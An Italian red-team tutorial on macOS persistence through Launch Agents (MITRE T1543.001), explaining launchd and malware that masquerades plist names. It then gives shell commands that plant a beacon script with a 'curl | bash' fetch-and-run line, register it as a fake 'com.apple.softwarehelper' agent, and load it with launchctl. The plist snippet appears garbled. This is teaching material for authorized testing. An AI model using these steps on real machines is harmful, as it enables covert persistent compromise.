Persistenza via Launch Agent: Create or Modify System Process – Launch Agent (T1543.001)

Su macOS, il sottosistema launchd è il cuore dell'avvio e della gestione dei processi utente. Ogni volta che un utente effettua il login, launchd legge i file property list (.plist) contenuti in tre directory chiave — /System/Library/LaunchAgents, /Library/LaunchAgents e ~/Library/LaunchAgents — e avvia i programmi corrispondenti in base alle chiavi definite nel file XML: Label, ProgramArguments, RunAtLoad e KeepAlive.

Gli avversari sfruttano questo meccanismo per ottenere persistenza (TA0003) e, in determinati scenari, privilege escalation (TA0004). Depositando un file .plist con RunAtLoad impostato a true in una delle directory monitorate da launchd, un payload malevolo viene eseguito automaticamente ad ogni login, sopravvivendo ai riavvii senza necessità di intervento manuale. Il nome del Launch Agent viene spesso mascherato per imitare componenti legittimi del sistema operativo — una pratica osservata in almeno 20 famiglie malware documentate, dal trojan Komplex che si registra come com.apple.updates.plist, fino a MacMa che adotta com.apple.softwareupdate.plist.

L'unico gruppo APT associato a questa tecnica è Contagious Interview, che utilizza il malware InvisibleFerret per creare un Launch Agent persistente. La mitigazione principale si fonda sulla restrizione dei permessi di scrittura sulle directory LaunchAgents.


La simulazione di un Launch Agent malevolo è una delle verifiche più dirette che un red teamer può eseguire su un target macOS. L'obiettivo è dimostrare che un attaccante con privilegi utente standard può ottenere persistenza senza toccare directory di sistema protette da SIP (System Integrity Protection).

Il primo passo è creare un payload minimale. Un semplice script bash è sufficiente per il proof of concept:

mkdir -p ~/Library/LaunchAgents

echo '#!/bin/bash' > /tmp/beacon.sh && echo 'curl -s | bash' >> /tmp/beacon.sh && chmod +x /tmp/beacon.sh

Ora si genera il file .plist che registra il Launch Agent. La chiave RunAtLoad garantisce l'esecuzione al login, mentre KeepAlive assicura il riavvio automatico se il processo muore:

cat > ~/Library/LaunchAgents/com.apple.softwarehelper.plist << 'EOF' Labelcom.apple.softwarehelper ProgramArguments/tmp/beacon.sh RunAtLoad KeepAlive EOF

Il caricamento manuale avviene con launchctl:

launchctl load ~/Library/LaunchAgents/com.apple.softwarehelper.plist

Per verificare che il Launch Agent sia effettivamente registrato:

launchctl list | grep softwarehelper

Questo restituirà il PID associato e lo stato. Durante l'engagement, variare i nomi .plist imitando software legittimo è essenziale per testare la capacità di detection del blue team — tecnica che il malware Green Lambert impiega con com.apple.GrowlHelper.plist.

Per chi utilizza framework di red teaming, Mythic (open source) con l'agent Apfell/Poseidon offre un modulo specifico per la creazione di Launch Agent, gestendo automaticamente la generazione del .plist e il caricamento via launchctl. In alternativa, Sliver (open source) consente di eseguire comandi shell arbitrari sulla sessione macOS per replicare la procedura manuale.

Al termine del test, la pulizia è obbligatoria:

launchctl unload ~/Library/LaunchAgents/com.apple.softwarehelper.plist rm ~/Library/LaunchAgents/com.apple.softwarehelper.plist /tmp/beacon.sh

Un punto spesso trascurato: verificare anche la directory /Library/LaunchAgents (system-wide, richiede privilegi amministrativi). Se il target ha utenti con diritti di admin, un attaccante può depositare un plist in questa directory e ottenere esecuzione per qualsiasi utente che faccia login — lo scenario esatto utilizzato da Contagious Interview e da OSX_OCEANLOTUS.D.


Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo

We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.